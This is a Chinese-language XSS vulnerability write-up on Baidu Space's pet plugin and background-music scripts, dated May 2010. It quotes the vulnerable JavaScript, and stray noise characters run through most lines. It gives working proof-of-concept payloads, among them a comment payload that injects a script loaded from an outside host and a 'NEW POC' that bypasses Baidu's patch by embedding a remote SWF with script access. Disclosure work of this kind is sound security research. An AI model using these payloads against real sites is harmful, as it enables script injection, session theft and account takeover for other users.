百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
/ x& N/ ~& | w2 U, x6 ]
3 O3 s7 f$ B C) g: @1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
: H6 _# q' E, Z! L) S4 B, d2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
+ Q& Z7 F+ Q5 D, y* U/ ?# @5 p. b5 R& W. v! f& \* L
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 6 P- f) t! J$ }7 T2 a6 i
其中BdUtil.insertWBR为 ' ~% i+ `/ w4 J% w+ c
function(text, step) { 6 u) M9 f& b; P9 g9 S
var textarea = textAreaCache || getContainer();
% `! E* m1 U; v" {# ^& m d if (!textarea) { 6 m, }% O" m# r7 [
return text; . c+ D/ k8 \. h4 i) c. j Z7 N
} 6 M; V, j1 E& X) ~; D* l0 ~: E
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
2 |; P* W3 k2 x7 ? var string = textarea.value; $ E0 G' c: R6 \4 W
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); ( o/ V# B6 c/ Q' ^
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); % L) a8 S" U/ |
return result; 9 k" W9 z; J9 d( S ~% @
}
- L( G/ [0 g' ?" i* q* f# k在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
( w( g9 }8 a. i测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 4 T- g' E$ k4 O$ _. q' r/ J6 x H
m# t' l& z+ L8 b- t" `二:creatbgmusic() Dom-Xss Bug 1 o8 I4 j- @0 P1 o7 H0 t4 c
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 + @2 R# p. L' N+ B: u
! a% o% C2 t: a' |3 f
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
/ [3 \3 m, Y% R
, B5 Z y' F$ Sfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { ! N2 G8 D) H! c8 f% W+ N
//传入的murl赋值到bgmusic1和bgmusic2中
" ]& c$ S( N: F //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
& ] R# ?. T3 e# ~* A var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
1 Z1 f. J8 o- g3 b6 { if (musicnum <= 1) { ; C6 A# V1 N, G% e2 V8 H
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; " i5 S8 C/ p W3 }0 s% O; l
}
3 L" N' p, B( k' {/ A D bgmusic1 += "</OBJECT>";
- i, ~- D3 x% y% n7 ?( o var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
' n$ Z% O$ h$ _! v9 U if (musicnum <= 1) { 9 e4 G, b# k/ H: m% [) o
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; ( Z8 P6 x. r# |: z; L
} 9 @9 F2 G! j2 v l1 G
bgmusic2 += "> </EMBED>"; $ H% q% J& `" Q. b" f/ _: Y
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; f" D: A' A p& S4 r
var bgmus = detectWMP(); ' `: N+ F7 H3 C! W
if (functype == "FckMusicHelper") { / C2 K; ^ B+ C
if (bgmus.installed) {
1 q4 j- [$ s; |7 N3 ~# ] if (bgmus.type == "IE") { ! \1 J% k1 i3 m$ g4 |
return bgmusic1;
w$ x: J% b6 E# K+ {" s } else if (bgmus.type == "NS") { 1 u2 c/ z/ N. _, v: j
return bgmusic2;
5 A$ k- A" k& Q1 _) E- k } # G) o% ^( {3 F; m" O4 I& D
} else {
4 I4 p/ a* @% k0 i6 f: { return bgmusic3; 5 {! Y6 @! u& C- r
} ( ~- N( u- t1 e) K! V/ J$ {# |0 v
} else { 0 V5 B7 X; F* n, I# r2 n2 Q- w( `
if (bgmus.installed) {
- g! H) Y; k. L; t0 _; r //document.write 直接输出bgmusic变量 导致xss . m( d' o# X8 D& i6 u6 p+ I
if (bgmus.type == "IE") {
3 T6 G* |8 J6 F9 x- e5 f document.write(bgmusic1); 5 L. h, G4 h) O; U. i, t
} else if (bgmus.type == "NS") {
0 N$ q3 x; m( m document.write(bgmusic2); * x v% }# A- l& C6 M
}
' x+ r# X0 K7 C4 z1 j& a, r } else { ( c: Q2 _8 v; \6 i
document.write(bgmusic3);
j- d M# l. Y$ b3 N } 5 D+ j6 b+ j% ?$ Q
return ""; 0 d% b! C6 v+ V x7 ^* r3 ?) X$ \
}
/ u9 {& v' |: p* C, d) T}
& i& M$ s1 u% z
2 A5 L4 E# l' {8 i% N5 J在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: $ C% u& K V! k
/ g* |5 x8 C6 ^4 Q R$ @# ~6 F3 L- i" jfunction initBlogTextForFCK(){ 4 J- Q2 u7 F) E. w- w- [' D; z
//fck init music
. c. e3 m+ U. ^; B, ^if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
9 z, K0 o7 g3 F, R% Ivar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 : H& [" M& }+ z" @
var isAutoPlay=true; " }" P q# U/ s- V J$ n
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
6 p/ _" D" o' x/ N' Y% }5 W$ Y4 w var img=imgBox;
" l( d6 _9 A; d if(img.getAttribute(’rel’)){ , B2 X7 P2 ^# d8 O4 G( }; U
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
4 P1 q. T8 J& |( W. p9 v+ | var musicDiv = document.createElement("SPAN"); % q6 R! o6 X. u. Y6 j3 x
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] * D4 e4 n3 }+ n( p
- F% F6 H+ }7 l9 Z: D
..........................
2 a* c9 R0 }0 M( C1 [9 o+ ^
1 g( `, I. l' n2 t //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
P& J2 M& h& k! ~4 s* x var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
5 ~6 u5 y; p% M shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 5 B* K2 T: i7 E5 d5 |8 \+ i
musicDiv.innerHTML=shtml; 2 B3 D1 m/ v$ p4 W% D$ `
i--;n--;
* l6 A/ m0 X& `% y, V/ e } 4 P/ E8 U' Q# F9 H' V* S/ \; F
} ( M! U6 z! V9 Q0 f* C5 L
& R$ x, g: T2 F1 A# |! U从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. 4 [' c* O; H" }7 Q1 j% I* h
# C( D+ o3 I& P0 k r% n+ ~- d' j1 L测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
: N; i/ ` q% g7 g2 G! Q/ y* \0 X
. J9 J0 }% }3 t5 E/ n等待官方补丁
( X7 Y0 v8 v J/ N$ \3 P0 E0 X8 D+ h
update 2010年5月13日 9 p; l9 d! N* T+ r1 d7 `" o, R
' F8 {* t) }4 ], J/ m8 T官方补丁:
& ]. e+ ^, p$ |; h5 S- @3 g- j: n3 Y5 ~3 H
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); $ d0 O9 n$ F! G+ N4 C2 Z! N! x) P
改为:
. w, F, R- _/ [. M e/ u' |var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); - W$ V h! {& f) s. B7 {
5 j" _5 i* }3 }, X9 `5 zupdate 2010年5月13日 21:50:37 ; n# W) S X# k2 H0 R
" M3 r# [% M; W0 p补丁存在漏洞 没有过滤" 可以继续跨:
( E2 |0 }0 n: J) e7 c2 F) K) h8 [$ k+ [# g: [) A w: {
NEW POC: : v0 r1 g" E* b7 K0 \& l$ ^
0 F" p0 f G/ H( M( C9 |
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" ( \% G- n. B0 P$ @; t
- f: I$ G* I0 V! {' R/ O! y2 Ballowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
) k' Q7 N. z e' `
I% u# `; G2 p1 y* Q |